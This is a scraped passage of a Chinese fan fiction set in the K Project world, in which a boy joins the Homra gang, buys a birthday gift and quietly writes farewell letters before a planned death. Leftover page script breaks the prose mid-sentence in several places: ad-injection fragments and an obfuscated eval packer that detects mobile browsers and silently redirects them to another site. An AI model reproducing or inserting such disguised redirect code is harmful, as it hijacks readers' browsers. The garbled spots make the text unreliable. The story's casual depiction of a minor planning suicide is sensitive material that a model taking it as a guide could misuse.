他心中盘算着别的事,两人之间的对话停顿了一下。十束似乎误解了什么,不可置信地凑近了一点:“诶——不愿意吗?明天也要出门吗?你已经连续出门好多天了吧?自从我住进吠舞罗开始。我被讨厌了吗?” 凪夜一被刺了一下,立刻回神:“我没——” “开玩笑的。”十束轻快地眨了一下左眼,伸出手揉了揉他的头发,“不过,你真的完全不生气呢。刚刚的事。” 凪夜一低声说:“没什么好生气的。” “这样吗……”十束右手撑着脸,眼神停在少年身上,像是一片轻轻的羽毛。“可我觉得,还是生气一下比较好。等到哪天会因为这种事情生气了,那时候的夜一,一定跟现在完全不一样。” “说起来,安娜的十一岁生日快到了。想好要送什么礼物了吗?” 那时十束多多良的眼神之中,写满了凪夜一看不懂的东西。他隐约觉得,自己应该去思考这句话、和这些眼神的含义,但他没有。 思考就像睁着眼睛走路,一旦看到某些不应该看到的东西,有些事情就再也回不去了。 现在已经足够好了。凪夜一想。 12. 王剑高悬12 天刚亮起不久的时候,凪夜一睁开了眼睛。 他视线涣散地盯着天花板出了一会神,把自己从朦胧的睡意里拔出来以后,心里浮现的第一个想法是: 总感觉,今天的状态很不错啊。 身体轻盈,呼吸顺畅,脑袋里杂七杂八的想法跑得精光。甚至,有那么一瞬间竟然涌起了对工作的莫大热情。 虽然它很快就消失了,但凪夜一坐起来严格地评估一番后,仍然确定自己今天的心情在及格线以上。 他起床洗漱,刷牙的时候透过镜子,看见了环绕在自己身边的那片异空间。 随着躯体的修复进程趋向完结,这片虚影的清晰度已经到了从前完全无法想象的地步。 光线好一些的时候,凪夜一甚至能看清楚花园里的花是什么颜色,其它细节更是数不胜数。这让他时常产生一种诡异的错觉——自己好像那什么背着房子到处跑的动物。 真的是…… “太奇怪了。”凪夜一用毛巾擦了一把湿淋淋的脸,“雾气,就不能把它藏起来吗?” 少年身边立刻出现一团形状扭曲的雾气。 他的异能学着人的样子叉手叉脚地靠在盥洗台上,用随便又敷衍的语气说:“当然有啊。” 又来了。这种感觉。 总感觉雾气的真身是什么上了年纪的奇怪大叔也说不定…… 凪夜一把这个想法丢出脑袋,问道:“要怎么藏?” 雾气说:“不知道。” 它接收到凪夜一诧异的视线,一下子飘起来,用更诧异的语气说:“我怎么可能知道啊。我只是个异能而已啊!收放这种事情应该是由你决定的吧。你睡傻了吗夜一仔?” 夜一仔又是什么称呼。 凪夜一沉默地抹了把脸。 鉴于今天心情还不错,他不打算和它较量嘴皮子功夫,按照自己一贯做的那样把虚影忽视掉,踩着轻盈的步子离开盥洗室,拉开衣柜的门,开始每日惯例之一——艰难地挑挑拣拣。 发现他其实更习惯暗色系之后,十束好像找到了什么新方向。 某天他带着几个不着调的家伙——没有镰本——往银座跑了一趟,带回来一大堆要么黑要么红、要么又黑又红的洋服,整体风格和安娜身上穿的形似,总之要多夸张有多夸张,并趁着凪夜一外出的时候潜入了他的房间,占领了他的衣柜。 隔天早上,凪夜一对着衣柜沉默了很久很久。 好在他功力了得,很快习惯了,并掌握了一套在复杂洋服中拼出简单日常装的可贵能力—— 核心思想是拆配件,拆各种各样的配件。 舍弃那些浮夸的配件之后,衣物的风格骤然变得可观了起来。虽然本身仍会存有一点夸张的设计,但好在凪夜一平常表情不多,穿起来也不怎么违和。 在衬衫领口给漆黑的丝带系好蝴蝶结以后,凪夜一推门下楼。 草薙已经醒了,正在给他的宝贝吧台做每日养护——难以相信一个店里凌晨四点才打烊的人几乎每天八点之前就能起来,白天也少有看见他补觉的时候,一度让人产生一种“草薙出云不需要睡眠”的错觉。 酒吧老板叼着一根醒神烟,看见他下楼,笑着抬手打了个招呼:“呦。不再多睡一会儿?” 凪夜一摇了摇头。“早上好,草薙先生。” “早上好。”草薙说,“我还没准备早饭,想吃啥?” 凪夜一站在吧台前想了想,试探着道:“今天我来做吧。” 草薙擦拭吧台的动作一顿:“嗯??” 他的震惊没有持续多久,因为烟灰掉到吧台上了。草薙立刻把烟头掐灭,飞快往烟灰缸里一丢,“啊,没什么。只是没想到你还会做饭,哈哈哈……” 其实也不是很会。凪夜一心想。 不过,只要他愿意,一般绝大多数事情都是能一次成功的。草薙先生下了很久的厨,偶尔也要休息一下才行。 “那就弄个简单一点的。”草薙抖开蓝白格子的围裙,举起套在脖子上的那一截,“蛋包饭怎么样?挺方便的,味道也好。” 凪夜一顺从地低头,白发像是柔软的流水,顺着他的动作垂在脸侧。 年长的酒吧老板盯着他的头顶,忽然感觉有点心软。 作为养护了凪夜一一段时间的人之一,草薙很明白凪夜一的情况, 小小年纪就已经踩熟里世界的规则,见过的黑暗数不胜数。拥有着与自身性格毫不相符的奇特能力,过早地把人性善恶看了个遍,代入一下他的处境,要想他毫无防备地站在人面前,草薙一度觉得是天方夜谭。 但现在他低头站得好好的,双手背在背后,像个最普通不过的孩子一样,周身的氛围安宁柔和。 这已经算是“毫无防备”了吧? 他心中忽然油然而生一种冲动。 ——咔擦。 凪夜一没等到围裙,反而等来了摄像头运作的清脆响声。 他不解地抬起头,看见草薙用终端对着他,又咔咔拍了两张。青年架在鼻梁上的紫色眼睛反射着可疑的光,堪称吠舞罗门面之一的俊脸上挂着奇怪的笑:“哼哼……哼哈哈……发给十束那家伙炫耀一下。” 他飞快地拍完,又飞快地回归正题,给凪夜一系好围裙,推着肩膀将他送进了厨房,鼓励道:“加油啊,少年。” 凪夜一关上了厨房的门。 草薙完成了最后一点扫除工作,坐回南吧台前,从终端上调出三津直人的资料。这种家伙当然不能继续留了——他将这人的资格从赤组内网上剔除,听到厨房里开火的声音,不禁想起了十束将他带回来以前说过的话。 【夜一看上去就是那种很省心的孩子啊,会偷偷帮家长做家务的那种。】 这么一想确实。 每次酒吧大扫除的时候都会下楼,吭哧一顿干,从来一句抱怨都没有。自己的事情总是处理得很好,除了管他吃饭,草薙基本上没操过什么心。十束堆在酒吧里的东西总是他在整理,会主动帮他追货物、时不时还会从外面带回来一大笔钱,现在连做饭也想尝试一下…… 啊,欣慰。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >草薙差点就快笑出来了,差一点。 厨房里猛地传来一道巨大的爆炸声,同样一起被炸飞的还有青年心中新鲜涌出还不到两秒的欣慰——刚刚冒了个头的笑容僵成一个欲扬不扬的诡异弧度挂在嘴角,草薙回过头,发现侧后方的厨房门被炸成一堆凄惨的木屑,伴随着滚滚浓烟飞出来的还有一把锋利的菜刀。 它打着转从厨房里飞出来,在草薙惊恐的目光中“砰”地一下剁进了吧台边缘,刀身与刀柄震颤几下,扎稳不动了。 “我的……我的吧台……” 凪夜一第一时间从厨房里头跑出来:“草薙先——” 他被吓退了一步。 酒吧老板浑身爬满了黑气。他双手撑着吧台,用极其恐怖的语气念道:“你小子……你小子……!我的吧台啊!”他猛地站起身来,“千金难求的逸品!经由岁月打磨的珍贵光泽!见证了多少……” 啪——。 一道击掌声过后,草薙的吧台和厨房恢复了原样。 酒吧老板重拾了从容和自信,又亲切地和白发少年握了握手。 “以后不准进厨房哦,凪酱。” 凪夜一干巴巴地道歉:“对不起……” 楼梯上出现了几声响动。十束和安娜被炸醒了,穿着睡衣在楼梯口探头:“什么东西炸了,草薙哥?你在研究新菜吗?” “没有新菜。”草薙招呼道,“去洗漱,一会下来吃饭。” 早饭是蛋包饭。显然草薙有点想复现一下到底是怎么爆炸的,但无果。 四个人围坐在餐桌边,安娜和凪夜一的餐盘旁边摆了一杯牛奶。草薙随口问道:“尊没下来?” 十束笑道:“这种程度叫不醒啦。不如说,King觉得我们能自己处理好,所以也懒得下来,估计要等天黑才见得到人了。” 草薙咋舌一声:“那家伙难不成又喝了一宿吗……” 凪夜一低头吃饭。特意加重过的味道残留在舌尖,虽然比起食物正常的味道要差一些,但也比没有味道时好很多了。 听到周防尊的名字,凪夜一忽然想起来一件事—— 他还欠了王一个愿望。 平常见面的时间实在太少了,吠舞罗的生活太安静,导致他竟然把这件事忘在了脑后。 得找时间补上。 身体的修复快要完成,预计在安娜过完生日不久,他就要前往下一个世界了。 除了还上欠王的愿望,还要想想怎么跟十束他们告别。 告别…… 想到这个词语的时候,他的指节不自觉地蜷缩了一下。 果然还是很难啊。不慎被发现的话,大家都会很生气吧。要走的话,就只能不辞而别……要不要留封遗书什么的? 他兀自出神,十束叫了他两声没叫醒,于是伸出手轻轻戳了一下他的脸颊,凪夜一条件反射地往后一缩,彻底回神了。 “冰箱里做冬阴功汤的食材不够了,我一会要出趟门买东西。”他双眼弯起一个柔和的弧度,“你要不要一起去?正好去挑点东西。” 13.王剑高悬13 深冬的站台上,飘着一点零星小雪。 十束站在站台边上,手里撑着一把伞,另一只手举着终端,正在翻看某个匿名论坛。 凪夜一站在伞的另一边,下半张脸缩在红色的长围巾里,眼瞳中倒映着站台上停顿的人群,姿态透出与周围格格不入的安静。 他们的搭配在人群中十分惹眼。 一个长相秀美度拉满,一个发色瞳色稀少到平常在现实中都抓不出几个,再加上常年混迹里世界特有的奇异气质,很快吸引来不少目光。 “想送的东西实在太多了,都不知道挑哪样好。”十束丝毫没察觉到,翻论坛时的自言自语在看见帖子正下方某条评论时停顿了一下,“礼物堆?” 【57L:女孩子过生日的话,根本不需要挑东西吧。礼物虽然很重要,但更重要的不是她的心情吗?挑不出来就全买了,还有什么是比堆成山的礼物更能让她高兴的?】 【58L:昨年就这么干过,女儿激动得都不知道该先拆哪一个。就是钱包非常危险(笑)】 “坐在礼物堆里激动得不知道先拆哪一个的安娜吗……”十束想象了一下,很快想到了什么,笑着摇了摇头,“虽然很期待,不过也有很多解决不了的困难啊。还是算了吧。” 一直飘在他背后的雾气自动根据屏幕内容检索关键词:“财力!夜一,这家伙缺钱啊!” 凪夜一将周围飘来若有若无的视线忽视了个彻底,往兜里一掏,递出去一张卡。 “嗯?这是什……”十束一低头,人都惊了,“你又偷偷跑去赚外快了吗?” 少年赚外快的方法,他可谓是心知肚明。 凪夜一解释道:“上次剩的。” 十束:“上次是哪一次……” “而且不是钱的问题啦,是草薙哥不同意。”他无奈地把凪夜一沉重的善意推了回去,“之前我有向他提过类似的建议,被说‘你这种生日礼物给八田送盆栽让他修身养性的家伙提这种建议根本让人放心不了’,然后狠狠地拒绝我了。” 他对于草薙专有的语气和关西腔的模仿令人动容,凪夜一看了他一会儿,这次递出来的东西变成了手。 少年摆了个方便击掌的姿势,声音中透着令十束牙酸的坚定:“我会让他同意的。” 用什么方式啊?! 凪夜一的善意再一次被推了回来。他抱着被拒绝的那只手,面上闪过几分茫然。 雾气适时吐槽道:“要是世界上每一个人都是十束这样子,那你肯定一分愿力都赚不到,是这个世界上最失败的业务员。” 凪夜一难得对雾气所说的话表示赞同。 他们才从吠舞罗出发不久,上午要给安娜买礼物、顺便买冬阴功汤的材料。 附近最大的商圈距离镇目町还有一段距离,又由于凪夜一是个未成年、十束不会开车,电车出行成了意料之中的选择。 工作日,站台上的人算不上少。 十束仍在低头刷论坛,凪夜一沉默地盯着铁轨出神,在某一刻忽然伸出手,将十束打着伞的手往下拽了一截。 “诶?”十束猝不及防地被他一拉,“怎么……” 他的询问声一顿,听到侧后方传来的轻微拍照声,立刻明白了凪夜一的用意,安抚性地对他笑了笑,将伞收起来,视线锁定了声音的来源。 是几个年纪不大的女生,身上穿着附近高中的校服,应该是逃课出来的。 看见十束回头,拍照的女生似乎被吓了一跳,往同伴身边缩了缩,几人你拽着我、我拽着你,慌慌张张地挤进人群跑掉了。 十束摇了摇头,没有多说什么。 电车正好到了,他将手里的论坛退回主页,正要关掉终端,忽然又在背后听见一下拍照声。 不过,还没等他说点什么,电车已经到了。 凪夜一拉着他上车,人群拥挤间,十束的手不经意在屏幕上一滑,终端震了一下,屏幕正上方弹出一条消息: [附近推送:镇目町东坂站,我好像碰见白面神了!!!] 十束伸手点了进去。 帖子的详情页展开,主楼的内容清晰地映入青年眼中。 [主楼:如题。和朋友逃课出来,准备去隔壁町玩来着,结果碰见了这个!!年龄一致,头发颜色是白色,眼睛的颜色也和传闻中很像,就是他吧??原来白日神是真的存在的吗??!(图片)] 十束将图片点开放大,镜头正中的两个人正是他和凪夜一。画面定格在少年伸手将伞拉下来挡住他的下一秒,模糊的影像中,可辨认的只有凪夜一苍白冷漠的侧脸。 [诶——跟传闻一模一样啊!!不过白日神会这么轻易地在公共场合出现吗?总感觉不太对劲] [在东坂站吗??我就在东坂站!哪个方向的站台?我怎么没看见啊啊啊啊] [恶……原来那些都市传说真的有人信吗?] [我也好想碰见白日神啊——] [之前有家伙说和神许愿了以后狠狠地中奖了吧。原本没抱什么希望用最后的钱买了彩票,竟然中了几百万,一下把欠的债还清了。这种好事什么时候轮到我?] [是我太久没上网了吗?白日神是什么啊?] [最近超级火的都市传说,听说碰见了以后朝他许愿,不管许什么都会心想事成!!(链接)(链接)(链接)我也好想遇见他,能不能送我上东大钓男朋友啊!!] [哈,白日做梦吧。名字听着都像。] [怎么看都是个跟家里人出来逛街的普通小孩吧。居然随便偷拍别人挂到网上,你们上网脑袋上出问题了吗?] 十束眨了一下眼睛。 他正准备点进那些链接看一看,一只手却忽然伸过来,蒙住了他的屏幕。 往旁边一看,凪夜一站在车厢里,面无表情地盯着窗外,和平常看起来没有任何区别——如果他能把手收回去的话。 十束一看他这个样子就知道他在想什么,按熄了屏幕,笑眯眯地问道:“夜一有不能给我看的秘密了吗?” 凪夜一手比脑子快,面对十束的问题完全不知道怎么回答,一种诡异的心虚感久久不散。 他心中隐约能感觉到,十束是不太喜欢他做这个的。也许是怕十束生气,也许还有别的原因,总之他不太愿意让十束看见。但他又不想强迫十束做什么事,于是极简模式 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 下的脑回路让他直接伸出手,一下蒙住了终端的屏幕—— 可惜治标不治本。 要怎么回答?过不了关的话,会不会有很严重的后果? 不知不觉间,凪夜一的思绪已经飘到了“后果”上。 他跳过了回答这个选项,先一步接受了不良的结果。好像只要先想到了、接受了,后果到来时,就不会受到任何伤害。 “你是不是在想会有什么后果?” 十束忽然出声问道。 凪夜一没抬头。他盯着自己的脚尖,在心底轻轻的“嗯”了一声。 “什么后果都不会有哦。”青年把熄屏的终端递到他眼前,“人有不希望被别人知道的事,很正常吧?夜一也是‘人’。” “所以,你不想我看的话,我不会看的。不过,与此相对的是,我确实有一些想要知道的事,能留给我一些时间吗?在安娜生日结束以后。”十束将手递到他面前,微笑着道,“我想要和夜一谈一谈。嗯,关于你的工作。” 凪夜一盯着他的手掌。 他心里清楚地知道,他是绝对不会放弃的。因此十束再怎么谈,都绝不会得到理想中的结果。 等到那个时候,十束应该就会放弃他了吧。 这只手应该放着不管比较好。 但是,他仍然拉了上去。两只温热的手掌交叠,凪夜一感觉自己像是在触碰一块烙铁,再握下下去,一定会被烫得皮开肉绽。他打算把手收回来,十束却已经合拢了手掌,做了一个完全标准的拉手姿势。 “到站了。”青年笑着道,“我们下车吧。” 说完这些话后,他好像终于放下了一件心事,语气和表情都比刚才轻松不少。于是凪夜一也不再多想,被他牵着一起下了车。 两人在商圈逛了小半天,各自买好了东西,路过路边一家饰品店的时候,凪夜一停下脚步,目光定格在店内的某一处—— 架子上摆着一串红水晶手串,被切割得形状各异的宝石在灯下焕发出奇异的光泽。 旁边还有一串款式简单得多的,轻飘飘地挂在架子的挂钩上,用颜色很淡的彩绳编而成。绳结与绳结间穿着零星细碎的宝石,像是缀在彩线海中的星星。材质略有不同,似乎用的是黄水晶,色泽温和。不知道为什么,很吸人眼球。 凪夜一的脚步走近了些,右手搭上橱窗,隔着一层厚厚的玻璃观察这两样物品。 十束本来已经往前走了一截,见状又倒回来,也弯腰靠近橱窗,站在他边上一起看。 他一眼相中了那枚手串,浅浅地惊叹了一声。 “很适合安娜啊。要买下来吗?” 确实很适合。 凪夜一问道:“她会喜欢吗?” “一定会的,她……”十束看见橱窗上两个人的倒影,后面的话忽然顿了一下,消失在口中。 飘着薄雪的昏暗天气,饰品店内白天依旧闪亮的霓虹灯。这一小块橱窗的边缘贴着精致花边,像是方型的相框,十束从这张玻璃照片上看见自己总是神情柔和的脸,还有凪夜一露出的小半张脸上,玻璃珠一样死寂的绿眼睛。 少年站在他身边,像是一片灰色的影子。 14.王剑高悬14 有时候其实会觉得,夜一不太像是这个世界上的人。 十束在心中想。 虽然大家各自都有生活的辛苦,但世界的底色是和平的。这样一个各种意义上都算安定的世界,要在什么样的情况下,才能养出这样死灰一样的灵魂? “……她会喜欢的,夜一送给她的都是很棒的礼物。”他忽然改口了,“不过,送礼物的时候,得好好送上祝福才行。” “要不要先练习一下?跟我学,‘祝安娜生日快乐’。” 凪夜一跟着念了一遍:“祝、安娜、生日快乐。” 因为从来没有说过这样的话,凪夜一的复述有点卡顿,显得很生涩。 “嗯嗯,很好。那么下一步,‘微笑着’为安娜送上祝福。”十束的手搭在他的肩上,力度轻柔,带着鼓励的意味,“生日是一年仅有一次的好日子,而笑容是这一天最不可或缺的东西。就像我这样,夜一要不要试着笑一下?” 少年迟疑了一下,伸手将蒙住下半张脸的围巾拉了下去,露出总是抿得平直的唇角—— 随后,如同青年所愿的那样,轻轻向上弯起一个柔和的弧度。 凪夜一对着玻璃镜子,露出一个温和的微笑。 这微笑比起十束平常的弧度分毫不差,甚至因为平常不经常笑的缘故,五官柔化下来,反而更让人移不开眼。 但十束盯着这个笑容看了很久,心中反反复复回荡的只有一句话: 必须要做些什么了。 再这样下去,这个孩子一定会死掉的。 “那个……”旁边店员的招呼声唤回了十束的注意力,年轻的店员战战兢兢地看着这两个一直站在橱窗边笑的怪人,“有喜欢的商品的话,客、客人们要不要进店里来挑选?” 十束默默地直起腰。 ……被当成怪人了呢。 从饰品店出来的时候,凪夜一手里多了两个袋子。 一个收好等待安娜的生日,另一个当天晚上被他偷偷塞进了十束的房间。他将盒子摆在一个十分显眼的地方,随后悄无声息地回到自己的房间,从桌子旁的抽屉里取出信纸和笔,坐在桌前摆好了架势。 雾气飘出来,不解道:“这么晚还不睡,你要写什么?” 凪夜一说:“遗书。” * 凪夜一将自己的遗书分成了很多个部分,每一部分里写上自己想对某某说的话,吠舞罗里每个熟识的家伙都有一份。 为了不漏掉某一个人,他专门列了一份清单,每写完一份就划掉一个名字。 等到最后一个名字被划掉以后,他就去死。虽然死法完全没有挑好。 “像之前那样信仰一跃不就好了?多自由啊。”雾气说,“你之前不是挺喜欢的吗?” “喜欢是一回事,身体摔得破破烂烂的,到了下个世界重组之后就没有现在好用了吧。”少年心不在焉地翻自*图鉴,“之前就是因为死得太潦草,所以后来身体才会那么烂。难得好起来了,如果可以的话还是希望能持续得久一些。” “噢!很有干劲啊夜一酱!”雾气赞叹道,“等会儿还要去找赤之王吧?这种天天向上的氛围很赞啊。想不想要什么奖励?” 凪夜一:“……不需要。” 雾气:“就算你想要我也没有啊。嘿嘿。” 凪夜一:“……” 翻了半天没翻出来什么东西,他把书合上放回书架,牵起放在软垫上的狱门疆,重新挂回脖子上。 倏地,在某一瞬间,方块上复数个眼球忽然齐齐转动了一下,看向凪夜一的方向。在少年不曾察觉间,它们又静悄悄落回原位。 雾气之中探出两道模糊的视线。 它观察到了方块上的异象,却没什么惊奇的反应,仿佛已经见怪不怪,更没有要告知凪夜一的意思,在少年出门之前老老实实地缩回了对方体内。 凪夜一的遗书已经写了一半,八田的部分结束,下一个就是周防尊。 加入吠舞罗这么久,凪夜一对这个组织的定位和日常活动完全不熟悉,对作为首领的王更是陌生无比。 回想起来,对方在吠舞罗的出没时间稀少得和他有得一拼。 凪夜一之前是整天看书,而周防尊是整天睡觉。剩下能找到他的时候,要么是饭点,要么是晚上打烊后的酒吧——和草薙十束坐在一起喝酒,喝完以后再睡一整天。 某种意义上,这是一种感知不到时间流逝的生存方式。 周防尊本人对于时间的概念似乎也相当模糊,以至于在凪夜一敲门进入房间以后,问出的第一个问题竟然是:“今天是安娜的生日?” 凪夜一看了一眼窗外黑得不能再黑的天,沉默了一下,答道:“不是。安娜的生日在两天后。” “是吗……”周防尊的视线漫无目的地在天花板上飘了一会,落到凪夜一身上的时候,立刻皱起了眉头,“你那是什么姿势?” 凪夜一站得很规矩,双手背在背后,肩背挺直、眼帘低垂,是很能表达尊敬的姿势。 可惜周防尊领悟不了,拧着眉头看了一会,直接上手把他拎到椅子上坐好:“什么事?” 听语气,他还没怎么睡醒。 凪夜一用尽量简短的词句表述了自己的来意,在这段时间里,周防尊已经低头点了根烟。 赤王很有攻击性的脸孔藏在缭绕的烟雾后,听完凪夜一的话,嘴里条件反射蹦出来几个字:“没有那……” 在这个时候,十束的声音险之又险地在脑海之中浮现,截断了周防尊的话头。 【能拜托King一件事吗?】 那是三津直人被丢出吠舞罗那天晚上,周防尊上天台吹风,正好碰见在调相机的十束。 “你什么时候买的相机?” 十束回过头看他,一脸“果然不出所料”的笑:“King真是的,根本一点都不关心周围的事啊。相机我已经买了一个多月了,都已经用它给你拍过好几张照片了。” 周防尊叼着烟,从鼻腔里哼出几个懒散的音节:“没注意。你现在又是在拍什么?” “夜景啊。”十束笑道,“不过只是随 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 便拍拍,今晚没有什么特别出彩的地方呢。比如呼唤飞艇的蜡烛,还有烟花之类的。” “烟花?”周防尊盯着天空,“那种东西,这个季节没有吧。” 十束仔细地调试相机,语调轻快地回答道:“一般来说是肯定没有的。不过有小道消息说,过几天晚上,镇目町有一场烟花会——我打算把那个拍下来,在安娜的生日party上投屏播放。怎么样?” “挺不错的。”周防尊说,“是你会干的事。” “说起来,能拜托King一件事吗?” 短暂的沉默之后,十束突然出声说了这么一句话。 周防尊含糊地应了一声,“说来听听。” “如果夜一来找King说许愿的事情,能麻烦King这么说吗?‘我还需要一段时间考虑’。” 周防尊说:“我没那种东西。” “这种事情我知道啦。”十束回过头看他,青年柔和的面孔在模糊的夜色中有些失真,“不过,就当是帮我的忙吧。让夜一在吠舞罗再待一段时间。” 周防尊沉默了一下,罕见地抓住了重点。 “他要去哪?” “一个很远的地方。”十束说。 “……麻烦。” 一般周防尊这么说话,就代表他同意了。十束朝他眨了下左眼:“谢啦,King。” 他回头继续摆弄相机,风中传来他自言自语一般的声音:“捡回来一只生病的小猫崽,果然很难照料啊。不想看见他生病死掉,短时间又无法将他治好。” 周防尊耐心地听他絮叨,虽然对他絮叨的内容根本不怎么理解。 “治不好也没办法吧。” 十束捧着相机,咔咔拍了两张。 “话不能这么说。”他轻轻笑着,“现在最缺的还是时间啦。不过,King真的没有愿望吗?” 周防尊说:“朝一个小鬼许愿算什么事。” “这个回答很有King的风格呢。”十束说,“其实我也有很多愿望。希望重要的人都能平平安安、希望日子能一直这么平静下去,更有私心的一些,希望自己能变强一些……什么的。” “大部分的愿望,夜一应该都能实现吧?只需要击一下掌。跟都市传说里写的一样,‘简直就是神明大人’。” “但是,人是做不了神的。”他轻声道,“‘期待’、‘愿望’这一类东西,对自己以外的他人来说,是绝对不能触碰的剧毒。如果一定要走上这条路,我希望能再晚一些。” “至少要等到……”青年想了想,弯起眼睛,“等到能好好睁开眼睛走路以后吧。” 周防尊狠狠地抽了一口烟。 十束那天晚上的话异常地多,回想起来活像一堆大大小小的字符在脑袋里乱窜。周防尊显然没听懂多少,但不妨碍他履行和十束的约定。 “过段时间再说。”赤王臭着一张脸改口道,“还没想好。” 随后,他提起凪夜一的衣领,将他拎出了这个烟雾缭绕的房间。 “现在,去睡觉。” 15.王剑高悬15 “诸君!” 十束严肃地张开手臂。 不过,他的严肃往往两秒就会破功,双眼弯起,笑容重新回到了脸上。 青年煞有介事地竖起一根手指强调,一串漂亮的黄水晶在他手腕上闪闪发亮:“刚才已经讨论好了怎么办,那接下来就是布置的问题了。”他环视吧里坐得满满当当的成员们一圈,“有谁自愿留下来布置场地吗?” 已经晚上十点多了,一堆人举起了手,凪夜一的手也混在里面。 少年盘着腿坐在沙发上,算了算准备完成后众人寥寥无几的休息时间,开口道:“我一个人就……” “不行!”大家忽然回头指着他,异口同声地拒绝。 凪夜一把手放下来。 十束笑了一下,接着开始下一份安排:“除了布置场地的,还有一批需要早起的。嘛,毕竟还有一些当天才能买的东西。谁要跟我一起去的?” 凪夜一:“我可以自……” 八田忍无可忍:“喂凪!你一个人都做完了我们做什么,啊?!话说回来这个时间你应该在楼上睡觉吧!为什么还能若无其事地坐在楼下啊你这个臭小鬼!” “冷静一点啊八田桑!”镰本无奈地站起来,“夜一是好心嘛。不过毕竟是小公主的生日,大家一起准备会更开心,对吧?” 他疯狂地朝十束递眼色。青年撑着脸笑,收了好几个眼神才开口:“镰本说得对。” 一群人飞快划分好了职责,前不久才办过凪夜一的欢迎会,挑起活来得心应手。 等到散会的时候,十束才从吧台边走过来,坐到了凪夜一的身边。 “像八田说的那样,你现在应该在房间里睡觉才对。”十束的声音很温和,“睡不着吗?” 偷偷下楼被抓包,凪夜一的表情微微一僵。 不是睡不着,是遗书不知道怎么写了。 纸上十束多多良的名字还没有被划掉,也只剩下他一个人,凪夜一还没想好怎么写。但他抱着膝盖思考了一秒,对于十束的问题还是点头了。 “这样啊。”十束想了想,没像以前那样说要给他讲睡前故事之类的,反而提起了另一件事,“既然这样,一会要不要陪我回一趟我家?” 凪夜一愣了一下。 “多多良的家?” 他从来没有去过,也很少听他提起这个,大概在青年眼里,吠舞罗才是真正的、唯一的家。 再者凪夜一进入吠舞罗没多久,十束也住进来了。对于他在外面住的地方,凪夜一脑海中只有一个模糊的概念,从没有真正见过。 “多多良以后都回家睡吗?” 十束说:“不是。今晚要回去拿个东西,顺便——” 他扬了扬手里拿着的相机,笑着道:“顺便去拍点好东西。” 凪夜一知道他要去拍夜景,那也是给安娜的生日礼物之一。少年点点头同意了十束的邀请,上楼换了一身外出的衣服。 路过书桌的时候,凪夜一低头看了一眼空白的纸张,想了想,将它叠好,放回了书架上。 随后,他折返回书桌前,按着那张写满名字的纸,抬手把十束多多良的名字也划掉了。 多多良好像很喜欢图像、影像之类的东西。 那么遗书不要了,后头偷偷借他相机录点东西吧。 凪夜一下楼的时候,十束刚刚跟周防尊打过招呼。赤王手里握着一支玫瑰,一脸难以表述的沉默,草薙笑着在一旁看戏,抬头看见凪夜一下楼,有点惊讶:“凪酱也跟着一起去?” “是啊。”十束朝凪夜一招了招手,“走吧,不然一会儿赶不及了。” 赶不及什么? 凪夜一有点茫然。他跟着十束走到门口,青年最后回过身,环视了一眼色调柔和的吠舞罗酒吧。 八田穿着围裙提着扫把在打扫店里的卫生,腾出手空闲跟他们道别:“明天见啊!” 草薙摆了摆手:“快回去吧。晚上路黑,注意安全。” 十束微笑着点头。 “明天见,大家。”他低头对凪夜一伸出手,“出发吧,夜一。” 凪夜一拉上他的手,两人一块走进深夜的寒风里。 “多多良。什么赶不及了?” 十束多多良眨了一下左眼:“等会你就知道了。是非常好看、平常还不怎么能看见的东西哦。” 凪夜一不再多问,跟着十束往前走。果然,十束的目的地并不是公寓,而是一处适合拍摄夜景的好地方。两人停在镇目町比良坂大厦前,正要往上走的时候,十束忽然想起了什么,摸了摸衣服口袋。 “怎么了?” “大意了。”十束叹了口气,“公寓的钥匙没带啊。就放在吧台上,走之前还记得的。”他看了看时间,“现在回去一趟的话,还来得及?” “我去吧。”凪夜一说,“很快就回来。” 十束犹豫了一下,点头同意了。 “那谢谢夜一啦。”他摸了摸凪夜一的头,“我在露台等你。比良坂大厦,记得住位置吧?” 凪夜一点头,两人在一楼分别。 盯着十束逐渐消失的背影看了一会,少年回过身,双手揣在兜里,回头往吠舞罗的方向走。 十束不在身边的时候,周围会瞬间安静下来。 在这样极致的安静之中,凪夜一能听见自己呼吸的声音,胸口的狱门疆挂坠顺着步幅来回翻转的轻微响动,回响在空旷街道的足音,还有…… 砰。 凪夜一的脚步忽然顿住了。 他抬头往上看,天幕上升起一朵巨大的彩色烟花。第二朵紧随而来,很快,铺天盖地的烟火占满了视野。 这大概就是多多良说的好东西吧。 凪夜一驻足观看了一会,忽然从烟花的嘈杂声音中,分辨出一声极其轻微的爆响。 像是一柄又尖又利的小刀,飞快地擦着他的耳膜划过去,带着让人浑身发寒的回音。 ……枪? 不会听错的,就是枪响。 没人能比他更熟悉这个声音了。他曾用枪威吓过别人,也被枪指过无数次。甚至于,子弹穿过身体的感觉,他也比常人熟悉百倍。 那是一种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13964065|147751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 足以让人意识断片的剧痛。 凪夜一僵站了一会。比他的身体更僵硬的,是他的表情。 数不清在原地站了多久,可能是几分钟,也可能只过了几秒,他向后迈了一步,朝着比良坂大厦狂奔。 寒风毫不留情地切割他的肺部,长发扫过眼球,带来一种硬生生被割裂般的痛苦。 凪夜一越跑越快,建筑庞大的虚影如同一片沉默的鬼影,一寸不离地缠绕在他身旁——从少年踏出的某一步开始,周围的街景发生了扭曲的异变。 像是画面故障时的卡顿,又像是空间交错时特有的影像重叠。一道柔和的白光从他脚底蔓延开,逐渐虚化、淹没了深渊似的街道。 凪夜一的下一步落在露台边缘,看清露台上的景象时,他感到一阵剧烈的晕眩。 